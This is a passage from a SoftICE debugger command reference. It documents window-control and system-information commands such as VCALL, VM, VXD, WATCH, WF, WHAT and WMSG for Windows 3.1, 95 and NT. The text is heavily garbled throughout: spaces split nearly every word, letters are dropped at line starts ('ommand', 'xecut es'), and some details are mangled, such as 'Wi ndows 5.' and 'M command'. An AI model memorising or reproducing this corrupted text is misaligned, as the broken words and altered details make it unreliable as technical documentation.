To di sassembl e 100 h byt es st ar t i ng at MyPr oc t o t he Command wi ndow, use t he
ommand:
U mypr oc L100

: VCALL
^VCALL Wi ndows 3. 1, Wi ndows 95 Syst emI nf or mat i on
^Di spl ay t he names and addr esses of VxD cal l abl e r out i nes.

%Synt ax
VCALL [ par t i al - name]
Pagina 769 di 991

par t i al - name VxD cal l abl e r out i ne name or t he f i r st f ew char act er s of t he ame.
I f
mor e t han one r out i ne' s name mat ches t he par t i al - name, al l r out i nes
t hat st ar t wi t h t he speci f i ed char act er s ar e l i st ed.

%Use
The VCALL command di spl ays t he names and addr esses of Wi ndows VxD API out i nes.

These ar e Wi ndows ser vi ces pr ovi ded by VxDs f or ot her VxDs. Al l t he r out i nes
of t I CE l i st s
ar e l ocat ed i n Wi ndows syst emVxDs t hat ar e i ncl uded as par t of t he base- l i ne
i ndows
ker nel .

The addr esses di spl ayed ar e not val i d unt i l t he VMM VxD i s i ni t i al i zed. I f an
i s not pr esent
i n t he Sof t I CE i ni t i al i zat i on st r i ng, Sof t I CE pops up whi l e Wi ndows i s oot i ng
and VMM i s
not i ni t i al i zed.

The names of al l VxD API s ar e st at i c. Onl y t he f unct i on names pr ovi ded i n t he
i ndows
DDK I ncl ude Fi l es ar e avai l abl e. These API names ar e not bui l t i nt o t he f i nal
xD execut abl e
f i l e. Sof t I CE pr ovi des API names f or t he f ol l owi ng VxDs:
CONFI GMG I OS VCD VMCPD VSD
DOSMGR NDI S VCOMM VMD VTD
DOSNET PAGEFI LE VCOND VMM VWI N32
EBI OS PAGESWAP VDD VMPOLL VXDLDR
ENABLE SHELL VDMAD VNETBI OS
I FSMGR V86MMGR VFBACKUP VPI CD
I NT13 VCACHE VKD VREDI R

%Exampl e
The f ol l owi ng exampl e l i st s al l Wi ndows syst emVxD cal l s t hat st ar t wi t h al l .
Sampl e out put
f ol l ows t he command.
VCALL cal l
80006E04 Cal l _When_VM_Ret ur ns
80009FD4 Cal l _Gl obal _Event
80009FF4 Cal l _VM_Event
8000A018 Cal l _Pr i or i t y_VM_Event
8000969C Cal l _When_VM_I nt s_Enabl ed
800082C0 Cal l _When_Not _Cr i t i cal
8000889F Cal l _When_Task_Swi t ched
8000898C Cal l _When_I dl e

: VER
^VER Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Mi scel l aneous
^Di spl ay t he Sof t I CE ver si on number .

%Synt ax
VER

%Hi nt : To vi ew your r egi st r at i on i nf or mat i on and pr oduct ser i al number , st ar t
Sof t I ce Loader
and choose About Sof t I CE Loader f r omt he Hel p menu.

%Exampl e
The f ol l owi ng exampl e di spl ays t he Sof t I CE ver si on number and oper at i ng yst em
ver si on:
VER
Pagina 770 di 991


: VM
%VM Wi ndows 3. 1, Wi ndows 95 Syst emI nf or mat i on
%Di spl ay i nf or mat i on on vi r t ual machi nes.

%Synt ax
VM [ - S] [ VM- I D]

- S Swi t ches t o t he VM i dent i f i ed by t he VM- I D.
VM- I D I ndex number of t he vi r t ual machi ne. I ndex number s st ar t at 1, wher e
i ndex number 1 i s al ways assi gned t o t he Wi ndows Syst emVM ( t he
VM i n whi ch Wi ndows appl i cat i ons r un) .

%Use
I f no par amet er s ar e speci f i ed, t he VM command di spl ays i nf or mat i on about al l
i r t ual
machi nes ( VM) i n t he syst em. I f a VM- I D i s speci f i ed, t he r egi st er val ues of he
VM ar e
di spl ayed. These r egi st er s ar e t hose f ound i n t he cl i ent r egi st er ar ea of t he
i r t ual machi ne
cont r ol bl ock so t hey r epr esent t he val ues l ast saved i nt o t he cont r ol bl ock
hen t her e was a
cont ext swi t ch away f r omt he VM. I f Sof t I CE i s popped up whi l e a VM i s
xecut i ng, t he
r egi st er s di spl ayed i n t he Sof t I CE Regi st er wi ndow, not t he ones shown i n t he M
command
out put , ar e t he cur r ent r egi st er s f or t he VM. However , i f you ar e i n t he i r st
f ew i nst r uct i ons
of an i nt er r upt r out i ne wher e a vi r t ual machi ne' s r egi st er s ar e bei ng saved o
t he cont r ol bl ock,
t he CS: I P r egi st er may be t he onl y val i d r egi st er ( t he ot her s have not been
aved yet ) .
The command di spl ays t wo set s of segment r egi st er s pl us t he EI P and SP
egi st er s. The
segment r egi st er s ar e used f or t he pr ot ect ed mode and t he r eal mode cont ext s f
t he VM. I f a
VM was execut i ng i n pr ot ect ed mode l ast , t he pr ot ect ed mode r egi st er s ar e i st ed
f i r st . I f V86
mode was t he l ast execut i on mode, t he V86 segment r egi st er s ar e l i st ed f i r st .
The gener al
pur pose r egi st er s ( di spl ayed bel ow t he segment r egi st er s) per t ai n t o t he egment
r egi st er s l i st ed
f i r st .

A VM i s a uni t of schedul i ng f or t he Wi ndows ker nel . A VM can have one r ot ect ed
mode
t hr ead under Wi ndows 3. 1, and mul t i pl e pr ot ect ed mode t hr eads under Wi ndows 5.
I n bot h
cases t he VM has one V86 mode t hr ead of execut i on. Wi ndows, Wi ndows
ppl i cat i ons, and
DLLs al l r un i n pr ot ect ed mode t hr eads of VM 1 ( t he Syst emVM) .

VMs ot her t han t he Syst emVM nor mal l y have a V86 t hr ead of execut i on onl y.
owever ,
DPMI appl i cat i ons ( al so known as DOS ext ended appl i cat i ons) l aunched f r omhese
VMs
can al so execut e i n a pr ot ect ed mode t hr ead.

The VM command i s ver y usef ul f or debuggi ng VxDs, DPMI pr ogr ams, and DOS
r ogr ams
r unni ng under Wi ndows. For exampl e, i f t he syst emhangs whi l e r unni ng a DOS
r ogr am,
Pagina 771 di 991
you can of t en f i nd t he addr ess of t he l ast i nst r uct i on i t execut ed wi t h t he M
command ( t he
CS: EI P shown f or t he VM' s V86 t hr ead) .

Anot her mor e esot er i c, but hi ghl y val uabl e use f or t he VM command i s f ound hen
Wi ndows f aul t s al l t he way back t o DOS. Ther e ar e t i mes when Wi ndows cannot
andl e a
f aul t and exi t s Wi ndows and you end up back at t he DOS pr ompt .
I f t hi s happens, dupl i cat e t he pr obl emwi t h I 1HERE ON i n Sof t I CE ( Wi ndows
xecut es an
I NT 1 pr i or t o r et ur ni ng t o DOS) . When t he f aul t happens, Sof t I CE pops up. se
t he VM
command t o f i nd out t he l ast addr ess of execut i on and use t he CR command t o i nd
t he f aul t
addr ess ( CR2 cont ai ns t he f aul t addr ess) . The ESI r egi st er usual l y poi nt s t o an
er r or message
at t hi s poi nt .

%Out put
For each vi r t ual machi ne, t he f ol l owi ng i nf or mat i on di spl ays:
VM Handl e VM handl e i s act ual l y a f l at of f set of t he dat a st r uct ur e t hat hol ds
i nf or mat i on about t he VM.
St at us Thi s i s a bi t mask t hat shows cur r ent st at e i nf or mat i on f or t he VxD.
The val ues ar e as f ol l ows:
Hi gh Addr ess Al t er nat e addr ess space f or VM. Thi s i s wher e a VxD t ypi cal l y
accesses
VM memor y ( i nst ead of 0) .

Not e: I t i s l i kel y f or par t s of t he VM t o be paged out at any one t i me
0001H Excl usi ve mode
0002H Runs i n backgr ound
0004H I n pr ocess of cr eat i ng
0008H Suspended
0010H Par t i al l y dest r oyed
0020H Execut i ng pr ot ect ed mode code
0040H Execut i ng pr ot ect ed mode app
0080H Execut i ng 32- bi t pr ot ect ed app
0100H Execut i ng cal l f r omVxD
0200H Hi gh pr i or i t y backgr ound
0400H Bl ocked on semaphor e
0800H Woke up af t er bl ocked
1000H Par t of V86 App i s pageabl e
2000H Rest of V86 i s l ocked
4000H Schedul ed by t i me- sl i ces
8000H I dl e, has r el eased t i me sl i ce
t hat you pop up Sof t I CE.
VM- I D I ndex number of t hi s VxD, st ar t i ng at 1.
Cl i ent Regi st er s Addr ess of t he saved r egi st er s of t hi s VM. Thi s addr ess
act ual l y poi nt s
i nt o t he l evel 0 st ack f or t hi s VM.

%Exampl e
VM
Sampl e out put f ol l ows:
VM Handl e St at us Hi gh Addr VM- I D Cl i ent Regs
806A1000 00004000 81800000 3 806A8F94
8061A000 00000008 81400000 2 80515F94
80461000 00007060 81000000 1 80013390


: VXD
^VXD Wi ndows 3. 1 Syst emI nf or mat i on
^Di spl ay t he Wi ndows VxD map.
Pagina 772 di 991

%Synt ax
VXD [ VxD- name | par t i al - VxD- name]

VxD- name Name of a vi r t ual devi ce dr i ver .
par t i al - VxD- name Fi r st f ew char act er s of t he name.

%Use
Thi s command di spl ays a map of al l Wi ndows vi r t ual devi ce dr i ver s i n t he
command
wi ndow. I f no par amet er s ar e speci f i ed, al l VxDs ar e di spl ayed. I f a VxD- name
i s speci f i ed,
onl y i nf or mat i on about t he VxD wi t h t hat name di spl ays.


I nf or mat i on t hat i s shown about a VxD i ncl udes t he VxD' s cont r ol pr ocedur e
addr ess, i t s
Pr ot ect ed Mode and V86 API addr esses, and t he addr esses of al l VxD ser vi ces i t
i mpl ement s.
I f t he cur r ent CS: EI P bel ongs t o one of t he VxD' s i n t he map, t he l i ne wi t h t he
addr ess r ange
t hat cont ai ns t he CS: EI P wi l l be hi ghl i ght ed.
I f a par t i al name i s speci f i ed, Sof t I CE di spl ays i nf or mat i on on al l VxDs whose
name begi ns
wi t h t he par t i al name.

%Out put
I f no par amet er s ar e speci f i ed, each ent r y i n t he VxD map cont ai ns t he
f ol l owi ng i nf or mat i on:
VxD name Name speci f i ed i n t he . DEF f i l e when t he VxD was bui l t .
addr ess Fl at 32- bi t addr ess of one VxD sect i on. VxDs ar e compr i sed of
mul t i pl e sect i ons wher e each sect i on cont ai ns bot h code and dat a. ( i . e.
LockCode, LockDat a woul d be one sect i on. )
si ze Lengt h of t he VxD sect i on. Thi s i ncl udes bot h t he code and t he dat a
of t he VxD gr oup.
code sel ect or Fl at code sel ect or .
dat a sel ect or Fl at dat a sel ect or .
t ype Sect i on number f r omt he . 386 f i l e.
i d VxD I D number . The VxD I D number s ar e used t o obt ai n t he
Pr ot ect ed Mode and V86 API addr esses t hat appl i cat i ons cal l .
DDB Addr ess of t he VxDs Devi ce Descr i pt or Bl ock ( DDB) . Thi s i s a
cont r ol bl ock t hat cont ai ns i nf or mat i on about t he VxD such as t he
addr ess of t he Cont r ol Pr ocedur e and addr esses of API s.

I f a VxD name i s speci f i ed, t he f ol l owi ng i nf or mat i on i s di spl ayed i n addi t i on
t o t he pr evi ous
i nf or mat i on:
Cont r ol Pr ocedur e Rout i ne t o whi ch al l VxD messages ar e di spat ched.
Pr ot ect ed Mode API Addr ess of t he r out i ne wher e al l ser vi ces cal l ed by
pr ot ect ed mode
appl i cat i ons ar e pr ocessed.
V86 API Addr ess Addr ess of t he r out i ne wher e al l ser vi ces cal l ed by V86
appl i cat i ons ar e
pr ocessed.
VxD Ser vi ces Li st of al l VxD ser vi ces t hat ar e cal l abl e f r omot her VxDs. For
t he
Wi ndows syst emVxDs, bot h t he name and t he addr ess of t he r out i nes
ar e di spl ayed.

%Exampl e
Thi s exampl e di spl ays t he VxD map i n t he Command wi ndow. The f i r st f ew l i nes of
t he
Pagina 773 di 991
di spl ay woul d l ook somet hi ng l i ke t he f ol l owi ng. The VxD names i n t he pr evi ous
t abl e can be
used as symbol names. The addr ess of seg 1 wi l l be used when a VxD name i s used
i n an
expr essi on.
. : VXD
VxDName Addr ess Lengt h Code Dat a Type I D DDB
VMM 80001000 000193D0 0028 0030 LGRP 01
VMM 80200000 00002F1C 0028 0030 I GRP
LoadHi 8001A3d0 000007E8 0028 0030 LGRP 02
LoadHi 80202F1C 00000788 0028 0030 I GRP
WI NI CE 8001ABB8 00027875 0028 0030 LGRP
CV1 80042430 0000036B 0028 0030 LGRP
VDDVGA 8004279C 00007AD8 0028 0030 LGRP
VDDVGA 802036A8 000005EC 0028 0030 I GRP

: VXD ( 95)
^VXD Wi ndows 95 Syst emI nf or mat i on
^Di spl ay t he Wi ndows VxD map.

%Synt ax
VXD [ VxD- name]

VxD- name Name or par t i al name of one or mor e vi r t ual devi ce dr i ver s.

%Use
Use t hi s command t o obt ai n i nf or mat i on about one or mor e VxDs. I f you do not
speci f y any
par amet er s, i t di spl ays a map of al l t he Wi ndows vi r t ual devi ce dr i ver s t hat
ar e cur r ent l y
l oaded i n t he syst em. Dynami cal l y l oaded VxDs ar e l i st ed af t er st at i cal l y
; oaded VxDs. I f a
VxD- name i s speci f i ed, onl y t hat VxD, or VxDs wi t h t he same st r i ng at t he st ar t
of t hei r
name ar e di spl ayed. For exampl e, VM wi l l mat ch VMM and VMOUSE. I f t he cur r ent
CS: EI P bel ongs t o one of t he VxDs i n t he map, t he l i ne wi t h t he addr ess r ange
t hat cont ai ns
t he CS: EI P i s hi ghl i ght ed.

I f no par amet er s ar e speci f i ed, each ent r y i n t he VxD map cont ai ns t hi s
i nf or mat i on:
VxDName VxD Name.
Addr ess Base addr ess of t he segment .
Lengt h Lengt h of t he segment .
Seg Sect i on number f r omt he execut abl e.
I D VxD I D.
DDB Addr ess of t he VxD descr i pt or bl ock.
Cont r ol Addr ess of t he cont r ol di spat ch handl er .
PM Y, i f t he VxD has a pr ot ect ed mode API . N ot her wi se.
V86 Y, i f t he VxD has a V86 API . N ot her wi se.
VXD Number of VxD ser vi ces i mpl ement ed.
Wi n32 Number of Wi n32 ser vi ces i mpl ement ed.
I f a uni que VxD name i s speci f i ed, t he f ol l owi ng addi t i onal i nf or mat i on
appear s:
I ni t Or der Or der i n whi ch VxDs r ecei ve cont r ol messages. A zer o val ue i ndi cat es
hi ghest pr i or i t y.
Ref er ence Dat a The dwor d val ue t hat was passed f r omt he r eal mode
i ni t i al i zat i on
pr ocedur e ( i f any) of t he VxD.
Ver si on VxD ver si on number .
PM API PM API FLAT pr ocedur e addr ess and PM API Ri ng- 3 addr ess used by
appl i cat i ons. Ref er t o t he f ol l owi ng comment s on PM and V86 API s.
V86 API V86 API FLAT pr ocedur e addr ess and V86 API Ri ng- 3 addr ess used
Pagina 774 di 991
by appl i cat i ons. Ref er t o t he next comment s on PM and V86 API s.

The PM API and V86 API par amet er s ar e r egi st er based and i t i s up t o t he
i ndi vi dual VxD t o
def i ne subf unct i ons and par amet er passi ng ( on ent r y EBX- VM Handl e, EBP- cl i ent
r egi st er s) .
I f t he Ri ng- 3 addr ess shown i s 0: 0, i t means t hat no appl i cat i on code has yet
r equest ed t he
API addr ess t hr ough I NT 2F f unct i on 1684h.

When t he VxD bei ng l i st ed has a Wi n32 ser vi ce t abl e, t he f ol l owi ng i nf or mat i on
i s pr esent ed
f or each ser vi ce:
Ser vi ce Number Wi n32 Ser vi ce Number .
Ser vi ce Addr ess Addr ess of t he ser vi ce API handl er .
Par ams Number of dwor d par amet er s t he ser vi ce r equi r es.
When t he VxD bei ng l i st ed has a VxD ser vi ce t abl e, t he f ol l owi ng i s shown f or
each ser vi ce:
Ser vi ce Number VxD ser vi ce number .
Ser vi ce Addr ess Fl at addr ess of ser vi ce.
Ser vi ce Name Symbol name i f known ( f r omVCALL l i st ) .

%Exampl e
Thi s exampl e di spl ays t he VxD map i n t he Command wi ndow. The f i r st f ew l i nes of
t he
di spl ay l ook si mi l ar t o t he f ol l owi ng. The VxD names i n t he pr evi ous t abl e can
be used as
symbol names. The addr ess of Seg 1 i s used when a VxD name i s used i n an
expr essi on.
. : VXD
VxD
Name
Addr ess Lengt h Seg I D DDB Cont r ol PM V86 VxD Wi n32
VMM C0001000 00FDC0 0001 0001 C000E990 C00024F8 Y Y 402 41
VMM C0200000 000897 0002
VMM C03E0000 000723 0003
VMM C0320000 000095 0004
VMM C0360000 00ED50 0005
VMM C0260000 007938 0006


: WATCH
^WATCH Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Wat ch
^Add a wat ch expr essi on.

%Synt ax
WATCH expr essi on

%Use
Use t he WATCH command t o di spl ay t he r esul t s of expr essi ons. Sof t I CE det er mi nes
t he si ze
of t he r esul t based on t he expr essi on' s t ype i nf or mat i on. I f Sof t I CE cannot
det er mi ne t he si ze,
dwor d i s assumed. The expr essi ons bei ng wat ched ar e di spl ayed i n t he Wat ch
wi ndow. Ther e
can be up t o ei ght wat ch expr essi ons at a t i me. Ever y t i me t he Sof t I CE scr een
i s popped up,
t he Wat ch wi ndow di spl ays t he expr essi on' s cur r ent val ues.
Each l i ne i n t he Wat ch wi ndow cont ai ns t he f ol l owi ng i nf or mat i on:
. Expr essi on bei ng eval uat ed.
. Expr essi on t ype.
. Cur r ent val ue of t he expr essi on di spl ayed i n t he appr opr i at e f or mat .
Pagina 775 di 991
A pl us si gn ( +) pr ecedi ng t he t ype i ndi cat es t hat you can expand i t t o vi ew
mor e i nf or mat i on.
To expand t he t ype, ei t her doubl e- cl i ck t he t ype or pr ess Al t - Wt o ent er t he
wat ch wi ndow,
use t he UpAr r ow and DownAr r ow keys t o move t he hi ghl i ght bar t o t he t ype you
ant t o
expand, and pr ess Ent er .

I f t he expr essi on bei ng wat ched goes out of scope, Sof t I CE di spl ays t he
f ol l owi ng message:
``Er r or eval uat i ng expr essi on' ' .

To del et e a wat ch, use ei t her t he mouse or keyboar d t o sel ect t he wat ch and
pr ess Del et e.

%Exampl e
Thi s exampl e cr eat es an ent r y i n t he Wat ch wi ndow f or t he var i abl e hI nst ance.
WATCH hI nst ance

Thi s exampl e i ndi cat es t hat t he t ype f or hI nst ance i s voi d poi nt er ( voi d *) and
i t s cur r ent
val ue i s 0x00400000.
hPr evI nst ance voi d * = 0x00400000
The f ol l owi ng exampl e di spl ays t he dwor d t o whi ch t he DS: ESI r egi st er s poi nt .
WATCH ds: esi
ds: esi voi d * =0x8158D72E

To wat ch what ds: esi poi nt s t o, use t he poi nt er oper at or ( *) :
WATCH * ds: esi

The f ol l owi ng exampl e set s a wat ch on a poi nt er t o a char act er st r i ng
l pszCmdLi ne. The
r esul t s show t he val ue of t he poi nt er ( 0x8158D72E) and t he ASCI I st r i ng
( cur r ent l y nul l ) .
WATCH l pszCmdLi ne +char * =0x8158D72E <" " >
Doubl e- cl i cki ng on t hi s l i ne expands i t t o show t he act ual st r i ng cont ent s.
l pszCmdLi ne - char * =0x8158D72E
char = 0x0

: WC
^WC WI NDOWS 3. 1, WI NDOWS 95, WI NDOWS NT WI NDOWCONTROL
^Al t - F3
^Toggl es t he Code wi ndow open or cl osed; and set s t he si ze of t he Code wi ndow.

%Synt ax
WC [ wi ndow- si ze]

wi ndow- si ze Deci mal number .

%Use
I f you do not speci f y wi ndow- si ze, WC t oggl es t he wi ndow open or cl osed. I f t he
Code
wi ndow i s cl osed, WC opens i t ; and i f i t i s open, WC cl oses i t .
I f you speci f y t he wi ndow- si ze, t he Code wi ndow i s r esi zed. I f i t i s cl osed, WC
opens i t t o t he
speci f i ed si ze.

When t he Code wi ndow i s cl osed, t he ext r a scr een l i nes ar e added t o t he Command
wi ndow.

When t he Code wi ndow i s opened, t he l i nes ar e t aken f r omt he ot her wi ndows i n
t he
f ol l owi ng or der : Command and Dat a.
Pagina 776 di 991

I f you wi sh t o move t he cur sor t o t he Code wi ndow, use t he EC command ( def aul t
key F6) .

%Exampl e
I f t he Code wi ndow i s cl osed, t he f ol l owi ng exampl e di spl ays t he wi ndow and
set s i t t o t wel ve
l i nes. I f t he Code wi ndow i s open, t he exampl e set s i t t o t wel ve l i nes.
WC 12

: WD
^WD WI NDOWS 3. 1, WI NDOWS 95, WI NDOWS NT WI NDOWCONTROL
^Al t - F2
^Toggl es t he Dat a wi ndow open or cl osed; and set s t he si ze of t he Dat a wi ndow.

%Synt ax
WD [ wi ndow- si ze]

wi ndow- si ze Deci mal number .

%Use
I f you do not speci f y t he wi ndow- si ze, WD t oggl es t he Dat a wi ndow open or
cl osed. I f t he
Dat a wi ndow i s cl osed, WD opens i t ; and i f i t i s open, WD cl oses i t .
I f you speci f y t he wi ndow- si ze, t he Dat a wi ndow i s r esi zed. I f i t i s cl osed, WD
opens i t t o t he
speci f i ed si ze.

When t he Dat a wi ndow i s cl osed, t he ext r a scr een l i nes ar e added t o t he Command
wi ndow.

When t he Dat a wi ndow i s opened, t he l i nes ar e t aken f r omt he ot her wi ndows i n
t he
f ol l owi ng or der : Command and Code.

I f you wi sh t o move t he cur sor t o t he Dat a wi ndow t o edi t dat a, use t he E
command.

%Exampl e
I f t he Dat a wi ndow i s cl osed, t he f ol l owi ng exampl e di spl ays t he wi ndow and
set s i t t o one
l i ne. I f t he Dat a wi ndow i s open, t he exampl e set s i t t o one l i ne.
WD 1


: WF
^WF WI NDOWS 95, WI NDOWS NT WI NDOWCONTROL
^CTRL- F3
^Di spl ay t he f l oat i ng poi nt st ack i n ei t her f l oat i ng poi nt or MMX f or mat .

%Synt ax
WF [ - d] [ b | w | d | f | *]

- d Di spl ay t he f l oat i ng poi nt st ack i n t he Command wi ndow. I n addi t i on
t o t he r egi st er s, bot h t he FPU st at us wor d and t he FPU cont r ol wor d
di spl ay i n ASCI I f or mat .
b Di spl ay t he f l oat i ng poi nt st ack i n byt e hexadeci mal f or mat .
w Di spl ay t he f l oat i ng poi nt st ack i n wor d hexadeci mal f or mat .
d Di spl ay t he f l oat i ng poi nt st ack i n dwor d hexadeci mal f or mat .
f Di spl ay t he f l oat i ng poi nt st ack i n 10- byt e r eal f or mat .
* Di spl ay t he ``next ' ' f or mat . The ``*' ' keywor d i s pr esent t o al l ow cycl i ng
t hr ough al l t he di spl ay f or mat s by pr essi ng a f unct i on key.

Pagina 777 di 991
%Use
WF wi t h no par amet er s t oggl es t he di spl ay of t he f l oat i ng poi nt Regi st er
wi ndow. The
wi ndow occupi es f our l i nes and i s di spl ayed i mmedi at el y bel ow t he Regi st er
wi ndow. I n 10
byt e r eal f or mat , t he r egi st er s ar e l abel ed ST0- ST7. I n al l ot her f or mat s t he
r egi st er s ar e
l abel ed MM0- MM7.

I f t he f l oat i ng poi nt st ack cont ai ns an unmasked except i on, Sof t I CE wi l l NOT
di spl ay t he
st ack cont ent s. When r eadi ng t he FPS, Sof t I CE obeys t he t ag bi t s and di spl ays
' empt y' i f t he
t ag bi t s speci f y t hat st at e.

When di spl ayi ng i n t he Command wi ndow, Sof t I CE di spl ays bot h t he st at us wor d
and t he
cont r ol wor d i n ASCI I f or mat .

%Exampl e
WF - d f
FPU St at us Wor d: t op=2
FPU Cont r ol Wor d: PM UM OM ZM DM I M pc=3 r c=0
ST0 1. 619534411708533451e- 289
ST1 9. 930182991407099205e- 293
ST2 6. 779357630001165015e- 296
ST3 4. 274541060856685014e- 299
ST4 2. 782904336495237639e- 302
ST5 1. 818657819582844735e- 305
ST6 empt y
ST7 empt y

Not e: ASCI I f l ags ar e document ed i n t he I NTEL Pent i umPr ocessor User ' s Manual ,
``Ar chi t ect ur e and Pr ogr ammi ng, ' ' Vol ume 3.

When di spl ayi ng i n any of t he hexadeci mal f or mat s, Sof t I CE al ways di spl ay l ef t
t o r i ght f r om
most si gni f i cant t o l east si gni f i cant . For exampl e, i n wor d f or mat , t he
f ol l owi ng or der woul d
be used:
Wor d f or mat : bi t s( 63- 48) bi t s( 47- 32) bi t s( 31- 16) bi t s( 15- 0)


: WHAT
^WHAT Wi ndows 95, Wi ndows NT Syst emI nf or mat i on
^Det er mi ne i f a name or expr essi on i s a ``known' ' t ype.

%Synt ax
WHAT [ name | expr essi on]

name Any symbol i c name t hat cannot eval uat e as an expr essi on.
expr essi on Any expr essi on t hat can be i nt er pr et ed as an expr essi on.

%Use
The WHAT command anal yzes t he par amet er speci f i ed and compar es i t t o known
names/ val ues, enumer at i ng each possi bl e mat ch, unt i l no mor e mat ches can be
f ound. Wher e
appr opr i at e, t ype i dent i f i cat i on of a mat ch i s expanded t o i ndi cat e r el evant
i nf or mat i on such
as a r el at ed pr ocess or t hr ead.

The name- t ype par amet er i s t ypi cal l y a col l ect i on of al phanumer i c char act er s
t hat r epr esent
Pagina 778 di 991
t he name of an obj ect . For exampl e, Expl or er woul d be i nt er pr et ed as a name,
and mi ght be
i dent i f i ed as ei t her a modul e, a pr ocess, or bot h.

The expr essi on- t ype par amet er i s somet hi ng t hat woul d not gener al l y be
consi der ed a name-
t ype. That i s, i t i s a number , a compl ex expr essi on ( an expr essi on whi ch
cont ai ns oper at or s,
such as Expl or er + 0) , or a r egi st er name. Al t hough a r egi st er l ooks l i ke a
name, r egi st er s ar e
speci al cased as expr essi ons si nce t hi s usage i s much mor e common. For exampl e,
f or WHAT
eax, t he par amet er eax i s i nt er pr et ed as an expr essi on- t ype. Symbol names ar e
t r eat ed as
names, and wi l l be cor r ect l y i dent i f i ed by t he WHAT command as symbol s.

Because t he r ul es f or det er mi ni ng name- and expr essi on- t ypes can be ambi guous
at t i mes, you
can f or ce a par amet er t o be eval uat ed as a name- t ype by pl aci ng i t i n quot es.
For exampl e, f or
WHAT ``eax' ' , t he quot es f or ce eax t o be i nt er pr et ed as a name- t ype. To f or ce a
par amet er t hat
mi ght be i nt er pr et ed as a name- t ype t o an expr essi on- t ype, use t he unar y ``+' '
oper at or . For
exampl e, f or WHAT +Expl or er , t he pr esence of t he unar y ``+' ' oper at or f or ces
Expl or er t o be
i nt er pr et ed as a symbol , i nst ead of a name.

%Exampl e
The f ol l owi ng i s an exampl e of usi ng t he WHAT command on t he name Expl or er and
t he
r esul t i ng out put . Fr omt he out put , you can see t hat t he name Expl or er was
i dent i f i ed t wi ce:
once as a ker nel pr ocess and once as a modul e.
WHAT expl or er
The name ( expl or er ) was i dent i f i ed and has t he val ue FD854A80
The val ue ( FD854A80) i s a Ker nel Pr ocess ( KPEB) f or Expl or er ( 58)
The name ( expl or er ) was i dent i f i ed and has t he val ue 1000000
The val ue ( 1000000) i s a Modul e I mage Base f or ' Expl or er '


: WL
^WL Wi ndows 95, Wi ndows NT Wi ndow Cont r ol Command
^Toggl es t he Local s wi ndow open or cl osed; and set s t he si ze of t he Local s
wi ndow.

%Synt ax
WL [ wi ndow- si ze]

wi ndow- si ze Deci mal number .

%Use
I f you do not speci f y t he wi ndow- si ze, WL t oggl es t he Local s wi ndow open or
cl osed. I f t he
Local wi ndow i s cl osed, WL opens i t ; and i f i t i s open, WL cl oses i t .

I f you speci f y t he wi ndow- si ze, t he Local s wi ndow i s r esi zed. I f i t i s cl osed,
WL opens i t t o t he
speci f i ed si ze.

When t he Local s wi ndow i s cl osed, t he ext r a scr een l i nes ar e added t o t he
Command wi ndow.

Pagina 779 di 991
When t he Local s wi ndow i s opened, t he l i nes ar e t aken f r omt he ot her wi ndows i n
t he
f ol l owi ng or der : Command and Code.

Hi nt : Fr omwi t hi n t he Local s wi ndow, you can expand st r uct ur es, ar r ays, and
char act er
st r i ngs t o di spl ay t hei r cont ent s. Si mpl y doubl e- cl i ck t he i t emyou want t o
expand.

Not e t hat expandabl e i t ems ar e del i neat ed wi t h a pl us ( +) mar k.

%Exampl e
I f t he Local s wi ndow i s cl osed, t he f ol l owi ng exampl e di spl ays t he wi ndow and
set s i t t o f our
l i nes. I f t he Local s wi ndow i s open, t he exampl e set s i t t o f our l i nes.
WL 4


: WMSG
^WMSG Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Syst emI nf or mat i on
^Di spl ay t he names and message number s of Wi ndows messages.

%Synt ax
For Wi ndows 3. 1
WMSG [ par t i al - name]

For Wi ndows 95 and Wi ndows NT
WMSG [ par t i al - name| msg- number ]

par t i al - name Wi ndows message name or t he f i r st f ew char act er s of a Wi ndows
message name. I f mul t i pl e Wi ndows messages mat ch t he par t i al - name
t hen al l messages t hat st ar t wi t h t he speci f i ed char act er s di spl ay.
msg- number Hexadeci mal message number of t he message. Onl y t he message t hat
mat ches t he msg- number di spl ays.

%Use
Thi s command di spl ays t he names and message number s of Wi ndows messages. I t i s
usef ul
when l oggi ng or set t i ng br eakpoi nt s on Wi ndows messages wi t h t he BMSG command.

%Exampl e
Thi s command di spl ays t he names and message number s of al l Wi ndows messages
t hat st ar t
wi t h " WM_GET" .
WMSG wm_get *

A sampl e out put f or t hi s command f ol l ows:
000D WM_GETTEXT
000E WM_GETTEXTLENGTH
0024 WM_GETMI NMAXI NFO
0031 WM_GETFONT
0087 WM_GETDLGCODE
WMSG 111
0111 WM_Command


: WR
^WR WI NDOWS 3. 1, WI NDOWS 95, WI NDOWS NT WI NDOWCONTROL
^F2
^Toggl e t he Regi st er wi ndow.

%Synt ax
WR
Pagina 780 di 991

%Use
The WR command makes t he Regi st er wi ndow vi si bl e i f i t i s not cur r ent l y
vi si bl e. I f t he
Regi st er wi ndow i s cur r ent l y vi si bl e, WR cl oses t he Regi st er wi ndow.

The Regi st er wi ndow di spl ays t he 80386 r egi st er set and t he pr ocessor f l ags.

When t he Regi st er wi ndow i s cl osed, t he ext r a scr een l i nes ar e added t o t he
Command
wi ndow.

When t he Regi st er wi ndow i s made vi si bl e, t he l i nes ar e t aken f r omt he ot her
wi ndows i n t he
f ol l owi ng or der : Command, Code and Dat a.

For Wi ndows 95 and Wi ndows NT
The WR command al so t oggl es t he vi si bi l i t y of t he f l oat i ng poi nt Regi st er
wi ndow i f one i s
open.


: WW
^WWWI NDOWS 3. 1, WI NDOWS 95, WI NDOWS NT WI NDOWCONTROL
^Al t - F4
^Toggl es t he Wat ch wi ndow open or cl osed; and set s t he si ze of t he Wat ch wi ndow.

%Synt ax
WW[ wi ndow- si ze]

wi ndow- si ze Deci mal number .

%Use
I f you do not speci f y t he wi ndow- si ze, WWt oggl es t he Wat ch wi ndow open or
cl osed. I f t he
Wat ch wi ndow i s cl osed, WWopens i t ; and i f i t i s open, WWcl oses i t .

I f you speci f y t he wi ndow- si ze, t he Wat ch wi ndow i s r esi zed. I f i t i s cl osed,
WWopens i t t o
t he speci f i ed si ze.

When t he Wat ch wi ndow i s cl osed, t he ext r a scr een l i nes ar e added t o t he
Command wi ndow.

When t he Wat ch wi ndow i s opened, t he l i nes ar e t aken f r omt he ot her wi ndows i n
t he
f ol l owi ng or der : Command, Code, and Dat a.

%Exampl e
I f t he Wat ch wi ndow i s cl osed, t he f ol l owi ng exampl e di spl ays t he wi ndow and
set s i t t o f our
